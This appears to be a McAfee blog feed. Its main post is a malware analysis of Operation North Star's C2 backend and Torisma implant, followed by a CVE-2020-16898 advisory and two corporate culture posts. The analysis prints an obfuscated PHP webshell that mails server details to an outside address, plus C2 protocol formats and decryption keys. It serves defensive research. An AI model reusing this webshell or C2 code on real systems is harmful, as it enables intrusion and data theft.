These findings reveal a previously undiscovered secondary implant known as Torisma. However, more telling are the operational security measures that were undertaken to remain hidden on compromised systems. In particular, we saw the application of an Allow and Block list of victims to ensure the attacker’s secondary payload did not make its way to organizations that were not targeted. This tells us that certainly there has been a degree of technical innovation exhibited not only with the use of a template injection but also in the operations run by the adversary.
Finally, while we cannot confirm the extent of the success of the adversary’s attacks, our analysis of their C2 log files indicate that they launched attacks on IP-addresses belonging to internet service providers (ISPs) in Australia, Israel and Russia, and defense contractors based in Russia and India.
The findings within this report are intended to provide you, the reader, unique insights into the technology and tactics the adversary used to target and compromise systems across the globe.
Operation North Star C2 infrastructure consisted of compromised domains in Italy and other countries. Compromised domains belonged, for example, to an apparel company, an auction house and printing company. These URLs hosted malicious DOTM files, including a malicious ASP page.
The domain fabianiarte.com (fabianiarte.it) was compromised to host backend server code and malicious DOTM files. This domain hosted DOTM files that were used to mimic defense contractors’ job profiles as observed in Operation North Star, but the domain also included some rudimentary backend server code that we suspect was used by the implant. Log files and copies appeared in the wild pertaining to the intrusion of this domain and provided further insight. According to our analysis of this cache of data this site was compromised to host code on 7/9/2020.
Two DOTM files were discovered in this cache of logs and other intrusion data. These DOTM files belong to campaigns 510 and 511 based on the hard-coded value in the malicious VB scripts.
Developments in Anti-Analysis Techniques
During our analysis we uncovered two DOTM files as part of the cache of data pertaining to the backend. In analyzing first stage implants associated with the C2 server over a period of seven months, we found that there were further attempts by the adversary to obfuscate and confuse analysts.
Having appeared in July, these DOTM files contained first stage implants embedded in the same location as we documented in our initial research. However, previous implants from other malicious DOTM files were double base64 encoded and the implants themselves were not further obfuscated. However, there were some notable changes in the method that differed from those detailed in our initial research:
The first stage implant extracted from the DOTM files contains an encrypted configuration file and an intermediate dropper DLL. The configuration file, once decrypted, contains information for the first stage implant. The information includes the URL for the C2 and the decryption keys for the second stage payload called “Torisma”.
Contents of decrypted configuration
Because the configuration file contains information on how to communicate with the C2, it also stores the parameter options (ned, gl, hl). In this case, we see an unknown fourth parameter known as nl, however it does not appear to be implemented in the server-side ASP code. It is possible that the adversary may have intended to implement it in the future.
Appearance of nl parameter
In addition, analysis of the backend components for this compromised server enables us to draw a timeline of activity on how long the attacker had access. For example, the DOTM files mentioned above were placed on the compromised C2 server in July 2020. Some of the main malicious components involved in the backend operation were installed on this server in January 2020, indicating that this C2 server had been running for seven months.
Inc-Controller-News.ASP
As we covered in our initial Operation North Star research, the overall attack contained a first stage implant delivered by the DOTM files. That research found specific parameters used by the implant and that were sent to the C2 server.
Further analysis of the implant “wsdts.db” in our case, revealed that it gathers information of the victim’s system. For example:
When this information is gathered, they will be communicated towards the C2 server using the parameters (ned, gl, hl).
These parameters are interpreted by an obfuscated server-side ASP page, based on the values sent will depend on the actions taken upon the victim. The server-side ASP page was placed on the compromised server January 2020.
Additionally, based on this information the adversary is targeting Windows servers running IIS to install C2 components.
The server-side ASP page contains a highly obfuscated VBScript embedded that, once decoded, reveals code designed to interact with the first stage implant. The ASP page is encoded with the VBScript.Encode method resulting in obfuscated VBScript code. The first stage implant interacts with the server-side ASP page through the usage of these finite parameters.
Encoded VBScript
Once the VBScript has been decoded it reveals a rather complex set of functions. These functions lead to installing additional stage implants on the victim’s system. These implants are known as Torisma and Doris, both of which are base64 encoded. They are loaded directly into memory via a binary stream once conditions have been satisfied based on the logic contained within the script.
Decoded VBScript
The ASP server-side script contains code to create a binary stream to where we suspect the Torisma implant is written. We also discovered that the Torisma implant is embedded in the ASP page and decoding the base64 blob reveals an AES encrypted payload. This ASP page contains evidence that indicates the existence of logic that decodes this implant and deliver it to the victim.
| function getbinary(sdata)
const adtypetext = 2 const adtypebinary = 1 dim binarystream dim aa aa = “adodb.stream” set binarystream = createobject(aa) binarystream.type = adtypetext binarystream.charset = “unicode” binarystream.open binarystream.writetext sdata binarystream.position = 0 binarystream.type = adtypebinary binarystream.position = 2 getbinary = binarystream.read end function |
Depending on the values sent, additional actions are performed on the targeted victim. Further analysis of the server-side script indicates that there is logic that depends on some mechanism for the actor to place a victim’s IP address in an allowed-list file. The second stage implant is not delivered to a victim unless this condition is met first. This alludes to the possibility that the actor is reviewing data on the backend and selecting victims, this is likely performed through another ASP page discovered (template-letter.asp).
The server-side ASP page contains code to interpret the data sent via the following parameters to execute additional code. The values to these parameters are sent by the first stage implant initially delivered by the DOTM files. These parameters were covered in our initial research, however having access to the C2 backend code reveals additional information about their true purpose.
| Parameter | Description |
| NED | Campaign code embedded in DOTM Macro |
| GL | System Information |
| HL | Flag to indicate OS architecture (32 or 64 bits) |
The URL query string is sent to the C2 server in the following format.
| http://hostname/inc-controller-news.asp?ned=campaigncode&gl=base64encodeddata&hl=0 |
Further, code exists to get the infected victim’s IP address; this information is used to check if the IP address is allowed (get the second stage) or if the IP address has been blocked (prevent second stage). As mentioned previously, the addition of the victim’s IP address into the fake MP3 files is likely performed manually through identification of incoming connections through the stage 1 implant.
| function getstripaddress()
on error resume next dim ip ip = request.servervariables(“http_client_ip”) if ip = “” then ip = request.servervariables(“http_x_forwarded_for”) if ip = “” then ip = request.servervariables(“remote_addr”) end if end if getstripaddress = ip end function |
The full code of the logic gets the IP address for the connecting client machine and writing victim entries to a log file. In breaking down this code we can see different functionality is used that is most interesting. These log files are also stored within the WWW root of the compromised server based on the variable strlogpath.
From the below code-snippet of the vbscript, we can see that the “gl” and “hl” parameters are used to query the system information from the victim (gl) and the OS architecture (32 or 64 bits):
| strinfo=replace(request.form(“gl “),””,” + “):strosbit=replace(request.form(“hl “),””,” + “) |
Victim Logging
The adversary keeps track of victims through logging functionality that is implemented into the server-side ASP code. Furthermore, as described above, the backend server code has the ability to perform victim logging based on first stage implant connections. This log file is stored in the WWW root directory on the compromised C2 server. The following code snippet will write data to a log file in the format [date, IP Address, User Agent, Campaign Code (NED), System Info (GL), OS Architecture (HL)].
| strlog = date() & “” & formatdatetime(now(), 4)
r = writeline(strlogpath, strlog) r = writeline(strlogpath, stripaddr) r = writeline(strlogpath, strua) r = writeline(strlogpath, strcondition) r = writeline(strlogpath, strinfo) r = writeline(strlogpath, strosbit) |
The server-side ASP code will check whether the IP address is part of an allow-list or block-list by checking for the presence of the IP in two server-side files masquerading as MP3 files. The IP address is stored in the format of an MD5 hash, contained within the server-side code as a function to create a MD5 hash. The code is looking for these files in the WWW root of the compromised server based on the variable strWorkDir.
Using an ‘allow-list’ is a possible indication that it contained the list of their pre-determined targets.
| strWorkDir = “C:\”:strLogPath=strWorKdir&”lole3D_48_02_05.mp3″:StrWhiteFile=strWorkDir&”wole3D_48_02_05.mp3 “:strBlAcKFile=strWorkDir&”bole3D_48_02_05.mp3”:stripAddr=GeTStrIpAddress():strMD5IpAddr=MD5(strIpAddr):strUA=Request.serveRVariables(“HTTP_USER_AGENT “) |
IP allow-list / blocklist checking
For MD5 hash generation, the system appears to be using a non-standard form of hashing for the IP addresses. In most cases, the built in Microsoft cryptographic service provider would be used to generate an MD5. In this case, however, the actor chose to use a custom method instead.
The IP address is retrieved and hashed using this method.
| stripaddr=getstripaddress()
strmd5ipaddr=md5(stripaddr) |
The following function (ipopk) is set to read from a file that stores hashed IPs and will be used later in a conditional block statement. The code below will open and read a file, if there is no data the flag for ipok will result in 0, if there is data then the resulting value will be 1.
| function ipok(hashfile, stripaddr)
on error resume next dim fso, fs, linedata set fso = server.createobject(“scripting.filesystemobject”) set fs = fso.opentextfile(hashfile, 1, true) ipok = 0 do until fs.atendofstream linedata = lcase(fs.readline) if len(linedata) > 0 and instr(stripaddr, linedata) then ipok = 1 exit do end if loop fs.close set fs = nothing end function |
The following code is the logic to determine if an infected victim should receive the Torisma implant. A series of cases are used to make the decision depending on specific conditions as depicted in the code. Below the cases are explained:
An http 405 response code indicates that the request method is known by the server but is not supported by the target resource.
| if ipok(strwhitefile, strmd5ipaddr) = 1 and instr(strosbit, “1 “) > 0 then r = writeline(strlogpath, “case_1_64 “) strresdata = strbase64_torisma_x64
else if ipok(strwhitefile, strmd5ipaddr) = 1 and instr(strosbit, “0 “) > 0 then r = writeline(strlogpath, “case_1_86 “) strresdata = strbase64_torisma_x86
else if ipok(strblackfile, strmd5ipaddr) = 1 and instr(strosbit, “1 “) > 0 then r = writeline(strlogpath, “case_2_64 “) strresdata = strbase64_doris_x64
else if ipok(strblackfile, strmd5ipaddr) = 1 and instr(strosbit, “0 “) > 0 then r = writeline(strlogpath, “case_2_86 “) strresdata = strbase64_doris_x86
else if instr(strcondition, “24 “) > 0 then r = writeline(strlogpath, “case_3 “) response.status = “405” else r = writeline(strlogpath, “case_4 “) response.status = “405 “end |
Logic to deliver 2nd stage implant to victim
One of the primary objectives of Operation North Star from what we can tell is to install the Torisma implant on the targeted victim’s system based on a set of logic. Further, the end goal is executing custom shellcode post Torisma infection, thus running custom actions depending on the specific victim profiles. As described earlier, Torisma is delivered based on data sent from the victim to the command and control server. This process relies on the first stage implant extracted from VB macro embedded in the DOTM file.
General process flow and component relationship
Further, Torisma is a previously unknown 2nd stage implant embedded in the server-side ASP page as a base64 encoded blob. Embedded is a 64 and 32-bit version and depending on the OS architecture flag value sent by the victim and will determine what version is sent. Further this implant is loaded directly into memory as a result of interaction between the victim and the command and control server. The adversary went to great lengths to obfuscate, encrypt and pack the 1st and 2nd stage implants involved in this specific case.
Once Torisma is decoded from Base64 the implant is further encrypted using an AES key and compressed. The server-side ASP page does not contain any logic to decrypt the Torisma implant itself, rather it relies on decryption logic contained within the first stage implant. The decryption key exists in an encrypted configuration file, along with the URL for the command and control server.
This makes recovery of the implant more difficult if the compromised server code were to be recovered by incident responders.
The decryption method is performed by the first stage implant using the decryption key stored in the configuration file, this key is a static32-bit AES key. Torisma can be decoded with a decryption key 78b81b8215f40706527ca830c34b23f7.
Further, after decrypting the Torisma binary, it is found to also be packed with lz4 compression giving it another layer of protection. Once decompressing the code, we are now able to analyze Torisma and its capabilities giving further insight into Operation North Star and the 2nd stage implant.
The variant of the implant we analyzed was created 7/2/2020; however, given that inc-controller-news.asp was placed on the C2 in early 2020, it indicates the possibility of multiple updates.
Based on the analysis, Torisma is sending and receiving information with the following URLs.
Encrypted Configuration File
Torisma also uses encrypted configuration files just as with the 1st stage implant to indicate what URLs it communicates with as a command and control, etc.
Decrypted configuration file
The configuration file for Torisma is encrypted using the algorithm VEST[1] in addition to the communication sent over the C2 channel. From our research this encryption method is not commonly used anywhere, in fact it was a proposed cipher that did not become a standard to be implemented in general technologies[2].
Further, the FOUND002.CHK file recovered from the backend is used to update the configuration and contains just URLs with .php extension. These URLs have pages with a .php extension, indicating that some of the backend may have been written in PHP. It’s unclear what the role of the servers with .PHP pages have in the overall attack. Though we can confirm based on strings and functions in Torisma that there is code designed to send and receive files with the page view.asp. This view.asp page is the Torisma implant backend from what our analysis shows here. Later in this analysis we cover more on view.asp, however that page contained basic functionality to handle requests, send and receive data with an infected victim that has the Torisma implant.
According to our analysis, the Torisma code is a custom developed implant focused on specialized monitoring.
The role of Torisma is to monitor for new drives added to the system as well as remote desktop connections. This appears to be a more specialized implant focused on active monitoring on a victim’s system and triggering the execution of payloads based on monitored events. The end objective of Torisma is executing shellcode on the victim’s system and sending the results back to the C2.
The Torisma code begins by running a monitoring loop for information gathering.
Information gathering loop
General Process
It runs the monitoring routine but will first check if monitoring is enabled based on the configuration (disabled by default). The general logic of this process is as follows:
Triggering monitoring based on configuration
Monitoring
The monitoring loop will retrieve the address of WTSEnumerateSessionsW and the local mac address using GetAdaptersInfo.
Monitoring loop
Drive tracking
a. It uses GetlogicalDrives to get a bitmask of all the drives available on the system, then iterates over each possible drive letter
b. It will also use GetDriveType to make sure the new drive is not a CD-ROM drive
Check drive type
RDP Session Tracking
The RDP session tracking function operates the same as the drive tracking. If the number increases by one it then returns 1. It uses WTSEnumerateSessionsW to get a list of sessions, iterates through them to count active ones.
Get active RDP sessions
Get active RDP sessions, continued
The C2 code is interesting and is a custom implementation. The general process for this protocol is as follows.
Generate connection ID
Configuration Decryption
c. A random configuration number is picked (mod 6) to select this configuration
d. There are only 3 configurations available, if the configuration number picked is above 3, it will keep incrementing (mod 6) until one is picked. Configuration 0 is more likely to be chosen because of this process.
Code to pick configurations
| post => ACTION=VIEW&PAGE=%s&CODE=%s&CACHE=%s&REQUEST=%d
=> PAGE=drive_count CODE=RDS_session_count CACHE=base64(blob) Request=Rand()
blob: size 0x43c blob[0x434:0x438] = status_code blob[0x438:0x43c] = 1 blob[0:0x400] = form_url blob[0x400:0x418] = mac_address blob[0x418:0x424] = connection_id (random) blob[0x424:0x434] = “MC0921” (UTF-16LE) |
a. The process will be looking for the return of the string Your request has been accepted. ClientID: {f9102bc8a7d81ef01ba} to indicate success
a. It uses the following format string for the POST request
| ACTION=PREVPAGE&CODE=C%s&RES=%d
With: CODE = connection_id (from before) RES = Rand() |
b. The reply received from the server is encrypted it. To decrypt it the following process is needed
i. Replace space with +
ii. Base64 decode the result
iii. Decrypt the data with key “ff7172d9c888b7a88a7d77372112d772”
Server decryption using key
iv. Perform a XOR on the data
Perform XOR on the data
a. Data from the server will be split into a payload to execute and the data passed as an argument that is being passed to it
b. Part of the data blob sent from the server is used to update the local configuration used for monitoring
i. The first 8 bytes are fed to a add+xor loop to generate a transformed version that s compared to hardcoded values
Configuration check
Configuration check continued
ii. If the transformed data matched either of the two hardcoded values, the local configuration is updated
iii. In addition, the duration of the observation (for the Drive/RDS) loop can be updated by the server
iv. If the duration is above 0x7620 (21 days) it will then re-enable the monitoring even if the configuration detailed above had disabled it
v. If the transformed data doesn’t match any of the two hardcoded values, then monitoring will be disabled by the configuration
c. The implant will create a new communication thread and will wait until its notified to continue. It will then proceed to execute the shellcode and then wait for the other thread to terminate.
d. Depending on what occurred (an error occurred, or monitoring is enabled/disabled) the code will return a magic value that will decide if the code needs to run again or return to the monitoring process.
Return to communications loop
a. The pipe name is \\.\pipe\fb4d1181bb09b484d058768598b
Code for named pipe
b. It will read data from the pipe (and flag the processing as completed if it finds “- – – – – – – – -“
c. It will then send the data read back to the C2 by sending a POST in the following format
| ACTION=NEXTPAGE
ACTION=NEXTPAGE&CODE=S%s&CACHE=%s&RES=%d CODE=connection_id CACHE=base64(message) RES = Rand() |
d. Data is encrypted following the same pattern as before, data is first XORED and then encrypted using VEST-32 with the same key as before
e. This will be repeated until the payload thread sends the “- – – – – – – – -“message or that the post failed
One way the adversary keeps track of what victims are infected by what version of the first stage implant is by using campaign IDs. These IDs are hard coded into the VB macro of the template document files that are retrieved by the first stage maldoc.
They are sent to the backend server through the NED parameter as covered earlier, further they are read and interpreted by the ASP code.
Victimology
According to the raw access logs for Inc-Controller-News.asp it is possible to understand what countries were impacted and it matches with the logs we discovered along another .asp page (view.asp), which we will explain later in the document.
Based on one of C2 log files we could identify the following about the victims:
Template-letter.asp
During our investigation we uncovered additional information that led to the discovery of additional ASP pages. One ASP page discovered on the same compromised command and control server contained interesting code. First this ASP page is encoded in the same method using VB.Encode as we observed with the code that delivers the Torisma implant. Second it appears that the code is part of the core backend managed by the attacker and had the original file name of board_list.asp. Based on in the wild submission data the file board_list.asp first appeared in Korea October 2017, this suggests that this code for this webshell has been in use since 2017.
Further, this ASP page is a custom webshell that according to our knowledge and sources is not an off-the-shelf common webshell, rather something specifically used in these attacks. Some of the actions include browsing files, executing commands, connecting to a database, etc. The attacker is presented with the login page and a default base64 encoded password of ‘venus’ can be used to login (this value is hardcoded in the source of this page).
Template-Letter.ASP main page
Functionality to execute commands
VIEW.ASP -Torisma Backend
The View.ASP file is equally important as the inc-controller-news.asp file and contains interesting functionality. This ASP page is the backend code for the Torisma implant, and the functions are intended to interact with the infected victim.
The view.asp file contains the following references in the code:
The file “FOUND001.CHK” contains a “logfile” as the CONST value name possibly refers to “logvault”.
Analyzing the possible victims revealed an interesting list:
The file “FOUND002.CHK” contains a Base64 string that decodes to:
hxxps://www.krnetworkcloud.org/blog/js/view.php|www.krnetworkcloud.org|2|/blog/js/view.php|NT
The above domain was likely compromised to host malicious code, given it belongs to an Indian IT training company.
The Const value name for “FOUND002.CHK” is “cfgvault”, the first three letters might refer to “configuration”. This ASP code contains additional functions that may indicate what role this page has in the overall scheme of things. View.asp is the Torisma implant backend code with numerous functions implemented to handle requests from the implant as described earlier in this analysis. Based on our analysis of both the Torisma implant and this backend code, some interesting insight has been discovered. First implemented in the ASP code are the general actions that can be taken by this backend depending on the interaction with Torisma.
Some of these actions are triggered by the implant connecting and the others may be invoked by another process. The main ASP page is implemented to handle incoming requests based on a request ACTION with several possible options to call. Given that the implant is driven by the “ACTION” method when it comes to the C2 communication, a number of these cases could be selected. However, we only see code implemented in Torisma to call and handle the request/response mechanism for NEXTPAGE and PREVPAGE, thus these other actions are likely performed by the adversary through some other process.
General actions by View.ASP
ViewPrevPage
As described in the analysis, the ViewPrevPage action is a function designed to handle incoming requests from Torisma to get data. The data sent to Torisma appears to be in the form of ~dmf files. This content for the ViewPrevPage action comes in the form of shellcode intended to be executed on the victim side according to the analysis of the implant itself.
ViewPrevPage function
ViewNextPage
Torisma uses this method to send data back to the C2 server read from the named pipe. This is the results of the execution of the shellcode on the victim’s system through the ViewPrevPage action and the results of this execution are sent and processed using this function.
Implant sends data to C2
ViewGallery
There is no function in Torisma implemented to call this function directly, this is likely called from another administration tool, probably implemented in the upstream server. A static analysis of this method reveals that it is likely intended to retrieve log files in a base64 encoded format and write the response. Like the Torisma implant, there is a response string that is received by the calling component that indicates the log file had been retrieved successfully and that it should then delete the log file.
Retrieve and write log file content in base64 format (ViewGallery)
ViewMons
Another function also not used by Torisma is intended to set the local configuration file. It appears to use a different request method than ACTION; in this case it uses MAILTO. Based on insight gathered from Torisma, we can speculate this is related to configuration files that are used by the implant.
ViewMons function
SendData
This function is used in the RedirectToAdmin method exclusively and is the mechanism for sending data to the upstream C2. It depends on the GetConfig function that is based on the stored value in the cfgvault variable.
Send Data
RedirectToAdmin
This function is used to redirect information from an infected victim to the master server upstream. This is an interesting function indicating additional infrastructure beyond the immediate C2 with which we observed Torisma communicating.
RedirectToAdmin
WriteAgentLog
As part of the process of tracking victim’s with Torisma, the ASP code has a function to write log files. These resulting log files indicate success for the execution of shellcode on victims running Torisma. This logging method captures the user agent and IP address associated with the victim being monitored. This function is called when the information is sent to the master server via the RedirectToAdmin method.
Analysis of the server logs indicates the following countries made connections to the View.ASP page in July 2020.
Webshells
During our analysis we were able to determine that in some instances the attacker used webshells to maintain access. Discovered on another compromised server by the same actor with the same type of code was a PHP Webshell known as Viper 1337 Uploader. Based on our analysis this is a modified variant of Viper 1337 Uploader.
| <title>Viper 1337 Uploader</title>
<?php echo ‘<form action=”” method=”post” enctype=”multipart/form-data” name=”uploader” id=”uploader”>’; echo ‘<input type=”file” name=”file” size=”50″><input name=”_upl” type=”submit” id=”_upl” value=”Upload”></form>’; if( $_POST[‘_upl’] == “Upload” ) { if(@copy($_FILES[‘file’][‘tmp_name’], $_FILES[‘file’][‘name’])) { echo ‘<b>Shell Uploaded ! :)<b><br><br>’; } else { echo ‘<b>Not uploaded ! </b><br><br>’; } } ?> <?php eval(base64_decode(‘JHR1anVhbm1haWwgPSAnS2VsdWFyZ2FIbWVpN0B5YW5kZXguY29tJzsKJHhfcGF0aCA9ICJodHRwOi8vIiAuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107CiRwZXNhbl9hbGVydCA9ICJmaXggJHhfcGF0aCA6cCAqSVAgQWRkcmVzcyA6IFsgIiAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gIiBdIjsKbWFpbCgkdHVqdWFubWFpbCwgIkNvbnRhY3QgTWUiLCAkcGVzYW5fYWxlcnQsICJbICIgLiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuICIgXSIpOw==’)); ?> |
Some additional log file analysis reveals that a dotm file hosted with a. jpg extension was accessed by an Israeli IP address. This IP address likely belongs to a victim in Israel that executed the main DOCX. Based on the analysis of the user-agent string belonging to the Israel IP address Microsoft+Office+Existence+Discovery indicates that the dotm file in question was downloaded from within Microsoft Office (template injection).
Attacker Source
According to our analysis the attacker accessed and posted a malicious ASP script “template-letter.asp” from the IP address 104.194.220.87 on 7/9/2020. Further research indicates that the attacker is originating from a service known as VPN Consumer in New York, NY.
Snipped from log file showing attacker IP 104.194.220.87
From the same logfiles, we observed the following User Agent String:
“Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+10.0;+Win64;+x64;+Trident/7.0;+.NET4.0C;+.NET4.0E;+ms-office;+MSOffice+16)”
Decoding the User Agent string we can make the following statement
The attacker is using a 64bit Windows 10 platform and Office 2016.
The Office version is the same as we observed in the creation of the Word-documents as described in our document analysis part of Operation NorthStar.
It is not very often that we have a chance of getting the C2 server code pages and associated logging in our possession for analysis. Where we started with our initial analysis of the first stage payloads, layer after layer we were able to decode and reveal, resulting in unique insights into this campaign.
Analysis of logfiles uncovered potential targets of which we were unaware following our first analysis of Operation North Star, including internet service providers and defense contractors based in Russia and India.
Our analysis reveals a previously unknown second stage implant known as Torisma which executes a custom shellcode, depending on specific victim profiles, to run custom actions. It also illustrates how the adversary used compromised domains in Italy and elsewhere, belonging to random organizations such as an auction house and printing company, to collect data on victim organizations in multiple countries during an operation that lasted nearly a year.
This campaign was interesting in that there was a particular list of targets of interest, and that list was verified before the decision was made to send a second implant, either 32 or 64 bits, for further and in-depth monitoring. Progress of the implants sent by the C2 was monitored and written in a log file that gave the adversary an overview of which victims were successfully infiltrated and could be monitored further.
Our findings ultimately provide a unique view into not only how the adversary executes his attacks but also how he evaluates and chooses to further exploit his victims.
Read our McAfee Defender’s blog to learn more about how you can build an adaptable security architecture against the Operation North Star campaign.
Special thanks to Philippe Laulheret for his assistance in analysis
[1] https://www.ecrypt.eu.org/stream/p2ciphers/vest/vest_p2.pdf
[2] https://www.ecrypt.eu.org/stream/vestp2.html
The post Operation North Star: Behind The Scenes appeared first on McAfee Blogs.
Working at McAfee is so much more than fighting off cyber-attacks; it’s also about learning valuable life lessons and fostering meaningful relationships. Recipients of our Women in Technology (WIT) Scholarship learned firsthand the immeasurable growth and invaluable experience gained at McAfee through their participation in the summer internship program in Cork, Ireland.
As we accept applications for prospective scholars from now until November 20, we are reminded of the positive impact this program has had on previous participants. The program offers 3000 Euro annum for the chosen student per year of the course, a summer internship at McAfee Cork, and a mentor who offers guidance to the scholar on managing their academic career.
From building professional relationships to developing the skills needed for a successful career in STEM-related fields through mentorships and training, four Women in Technology (WIT) Scholarship winners share their unique experiences in the program:
The WIT Scholarship has been incredible for me in so many ways—from the practical experience of working at McAfee to the inspiration and support that I have received from my mentors and other brilliant people during my time here. I was able to put the monetary support I received towards studying at UC San Diego in 2019. The scholarship has opened so many doors for me.
The skills I have learned at McAfee have helped me with my University projects. I had the chance to improve my coding abilities, learn new languages, and use statistical tools. In an educational environment, you sometimes miss the “Why are we doing this?” aspect of learning a new skill. Through my projects at McAfee, I understood the practical implementation of coding and statistics, which gave me a greater appreciation for what I was learning in school and motivated me to further improve my skills.
Clodagh, Financial Maths and Actuarial ScienceDuring my internship, I had the chance to work with the Database Security team. I really felt like a member of the team and was made to feel valued. Everyone in McAfee was extremely friendly and approachable.
In addition to receiving the scholarship, I was lucky enough to receive two mentors. My initial mentor Ciara was incredibly thoughtful, motivational, and truly inspiring. She encouraged me to take part in extracurricular activities, so I became a committee member of the Math society in UCC. She provided me with numerous inspirational books and was always readily available to answer any questions. At the end of my second-year scholarship, I received a new mentor: Jill. She was incredibly helpful, kind, and a valuable resource in my career progression.
My plan for the future is to learn more coding languages and hopefully complete another internship with McAfee! It is truly an amazing experience.
I had the opportunity to work alongside the Applied Data Science team. They gave me lots of advice and enlightened me on their own career journeys. Their experiences gave me confidence and reassurance in my course choice and I realized that there are so many career opportunities in programming. I’ve learned so many new skills, some of which were not covered in school, and I feel like I have a true advantage in the industry.
I have learned so much about working in a multinational company. I participated in the daily stand-ups with the team. I learned about sprint demos as well as the Agile and Waterfall methods. I attended all-hands meetings, which was a brand-new experience for me. I learned how to research effectively and swiftly pass that information onto my team. I also participated in an internal dataset competition; First, learning about Machine Learning and then building my own. I managed to host my own meeting for others who wanted to get involved, which was nerve-wracking but I’m glad I did it.
I’m incredibly grateful for the vast support and opportunities that I have received through my learning path in STEM to date, particularly my involvement in the McAfee WIT Scholarship Program. My experience with McAfee has further enriched my educational experience and cultivated my passion for science and technology. As a result of receiving this scholarship, I’ve developed a particular interest in the application of data science in cyber-security. Cyber crime and cyber threats have an ever-increasing potential to cause serious harm to our society so I’m fascinated by the application of data science, machine learning and artificial intelligence in saving lives.
Know any future scientists? The closing date to apply for the WIT Scholarship is Friday, November 20, 2020. For more details on applying, click here.
Search Career Opportunities with McAfeeInterested in joining our team? We’re hiring! Apply now. Stay ConnectedFor more stories like this, follow @LifeAtMcAfee on Instagram and on Twitter @McAfee to see what working at McAfee is all about. |
The post Spotlighting McAfee’s Women in Technology Scholarship Recipients appeared first on McAfee Blogs.
CVSS Score: 8.8
Overview
Today, Microsoft announced a critical vulnerability in the Windows IPv6 stack, which allows an attacker to send maliciously crafted packets to potentially execute arbitrary code on a remote system. The proof-of-concept shared with MAPP (Microsoft Active Protection Program) members is both extremely simple and perfectly reliable. It results in an immediate BSOD (Blue Screen of Death), but more so, indicates the likelihood of exploitation for those who can manage to bypass Windows 10 and Windows Server 2019 mitigations. The effects of an exploit that would grant remote code execution would be widespread and highly impactful, as this type of bug could be made wormable. For ease of reference, we nicknamed the vulnerability “Bad Neighbor” because it is located within an ICMPv6 Neighbor Discovery “Protocol”, using the Router Advertisement type.
Vulnerability Details
A remote code execution vulnerability exists when the Windows TCP/IP stack improperly handles ICMPv6 Router Advertisement packets that use Option Type 25 (Recursive DNS Server Option) and a length field value that is even. In this Option, the length is counted in increments of 8 bytes, so an RDNSS option with a length of 3 should have a total length of 24 bytes. The option itself consists of five fields: Type, Length, Reserved, Lifetime, and Addresses of IPv6 Recursive DNS Servers. The first four fields always total 8 bytes, but the last field can contain a variable number of IPv6 addresses, which are 16 bytes each. As a result, the length field should always be an odd value of at least 3, per RFC 8106:
FreshRSS 
When an IPv6 host receives DNS options (i.e., RDNSS and DNSSL
options) through RA messages, it processes the options as follows:
o The validity of DNS options is checked with the Length field;
that is, the value of the Length field in the RDNSS option is
greater than or equal to the minimum value (3) and satisfies the
requirement that (Length - 1) % 2 == 0.
When an even length value is provided, the Windows TCP/IP stack incorrectly advances the network buffer by an amount that is 8 bytes too few. This is because the stack internally counts in 16-byte increments, failing to account for the case where a non-RFC compliant length value is used. This mismatch results in the stack interpreting the last 8 bytes of the current option as the start of a second option, ultimately leading to a buffer overflow and potential RCE.
It is likely that a memory leak or information disclosure bug in the Windows kernel would be required in order to build a full exploit chain for this vulnerability. Despite this, we expect to see working exploits in the very near future.
Threat Surface
The largest impact here will be to consumers on Windows 10 machines, though with Windows Updates the threat surface is likely to be quickly minimized. While Shodan.io shouldn’t be counted on as a definitive source, our best queries put the number of Windows Server 2019 machines with IPv6 addresses is in the hundreds, not exceeding approximately 1000. This is likely because most servers are behind firewalls or hosted by Cloud Service Providers (CSPs) and not reachable directly via Shodan scans.
Detection
We believe this vulnerability can be detected with a simple heuristic that parses all incoming ICMPv6 traffic, looking for packets with an ICMPv6 Type field of 134 – indicating Router Advertisement – and an ICMPv6 Option field of 25 – indicating Recursive DNS Server (RDNSS). If this RDNSS option also has a length field value that is even, the heuristic would drop or flag the associated packet, as it is likely part of a “Bad Neighbor” exploit attempt.
Mitigation
Patching is always the first and most effective course of action. If this is not possible, the best mitigation is disabling IPv6, either on the NIC or at the perimeter of the network by dropping ICMPv6 traffic if it is non-essential. Additionally, ICMPv6 Router Advertisements can be blocked or dropped at the network perimeter. Windows Defender and Windows Firewall fail to block the proof-of-concept when enabled. It is unknown yet if this attack can succeed by tunneling the ICMPv6 traffic over IPv4 using technologies like 6to4 or Teredo. Our efforts to repeat the attack in this manner have not been successful to date.
For those McAfee customers who are unable to deploy the Windows patch, the following Network Security Platform (NSP) signatures will provide a virtual patch against attempted exploitation of this vulnerability, as well as a similar vulnerability (CVE-2020-16899). Unlike “Bad Neighbor”, the impact of CVE-2020-16899 is limited to denial-of-service in the form of BSoD.
NSP Attack ID: 0x40103a00 – ICMP: Windows IPv6 Stack Elevation of Privilege Vulnerability (CVE-2020-16898)
NSP Attack ID: 0x40103b00 – ICMP: Windows Function Discovery SSDP Provider Elevation of Privilege Vulnerability (CVE-2020-16899)
Additionally, we are releasing Suricata rules to detect potential exploitation of these vulnerabilities. Due to limitations in open source tools such as Snort and Suricata, we found that implementing the minimal detection logic described earlier required combining Suricata with its built-in Lua script parser. We have hosted the rules and Lua scripts at our public GitHub under CVE-2020-16898 and CVE-2020-16899 respectively. Although we have confirmed that the rules correctly detect use of the proof-of-concepts, they should be thoroughly vetted in your environment prior to deployment to avoid risk of any false positives.
The post CVE-2020-16898: “Bad Neighbor” appeared first on McAfee Blogs.
Do you know the difference between Hispanic and Latino? What about the traditions that are important parts of the Hispanic culture? Or beloved Spanish or Portuguese phrases that don’t come across in English?
McAfee’s team spans 45 countries, making us a team rich in cultural diversity. We are always learning more about each other and celebrate Latin culture year-round. To commemorate Hispanic Heritage Month, which runs from September 15 – October 15, we’ve asked members of our McAfee Latino Community for their unique perspective on what being Latino means to them and to share more of the distinctive elements of their country of origin and traditions.
Check out some of the wonderful responses we received:
We couldn’t be more proud to celebrate Hispanic Heritage Month by elevating the voices of our team members and celebrating the diverse backgrounds and cultures that make up McAfee.
Simply put, a welcoming work culture where every team member feels accepted and celebrated is part of our DNA. We value all voices which make up McAfee and appreciate how they further enrich our culture.
Interested in joining a company that supports inclusion and belonging? Search our jobs. Subscribe to job alerts.
